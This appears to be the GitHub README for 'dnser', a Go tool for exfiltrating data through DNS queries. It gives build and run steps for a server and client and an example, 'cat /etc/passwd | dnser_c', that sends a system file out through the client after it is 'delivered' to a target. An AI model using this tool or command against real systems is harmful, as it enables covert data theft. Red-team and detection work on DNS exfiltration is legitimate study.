Skip to content
/ dnser Public

Utility for data exfiltration using the DNS protocol. Please use this source code for study purposes only. The author isn't responsible for your actions.

License

Notifications You must be signed in to change notification settings

fedoik/dnser

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

47 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation


Logo

dnser

Utility for data exfiltration using the DNS protocol!
Explore the docs »

View Demo · Report Bug · Request Feature

Table of Contents

  1. About The Project
  2. Demo
  3. Getting Started
  4. Usage
  5. Roadmap
  6. Contributing
  7. License
  8. Contact
  9. Acknowledgments

About The Project

project_idea

(back to top)

Built With

  • Go

(back to top)

Demo

demo

(back to top)

Getting Started

This section explains how to install the utility.

Prerequisites

go version >= 1.21.5

  • go
    go version

Installation

  1. Clone the repo
    git clone https://github.com/fedoik/dnser.git
  2. Go to folder
    cd dnser/src/
  3. Install go packages
    go mod tidy
  4. Build the server binary
     go build server.go

(back to top)

Usage

Before you start using it, you need to build the client binary, after which you can up the server.

  1. Create config
server:
  port: <dnsport>
  host: <ip>
  domain: <domain for resolving>

client:
  projectDir: <path to dnser/src/ (example: /tmp/dnser/src/)>
  1. Build client. We get the path to the client binary
./server -config <path to config> -build
  1. Start the server
./server -config <path to config> -serve
  1. After that we deliver the client and launch
cat /etc/passwd | dnser_c

For more examples, please refer to the SOON

(back to top)

Roadmap

  • Rewrite the DNS resolver so as not to use CGO. (Cross -platform)
  • Rate limit for dns requests (From config)
  • Сhange subdomain size from config
    • Fix size
    • Random size
  • Output into file

See the open issues for a full list of proposed features (and known issues).

(back to top)

Contributing

If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement". Don't forget to give the project a star! Thanks again!

  1. Fork the Project
  2. Create your Feature Branch (git checkout -b feature/AmazingFeature)
  3. Commit your Changes (git commit -m 'Add some AmazingFeature')
  4. Push to the Branch (git push origin feature/AmazingFeature)
  5. Open a Pull Request

(back to top)

License

Distributed under the project_license. See LICENSE.txt for more information.

(back to top)

Contact

Tg - @fed01k

Project Link: https://github.com/fedoik/dnser

(back to top)

About

Utility for data exfiltration using the DNS protocol. Please use this source code for study purposes only. The author isn't responsible for your actions.

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages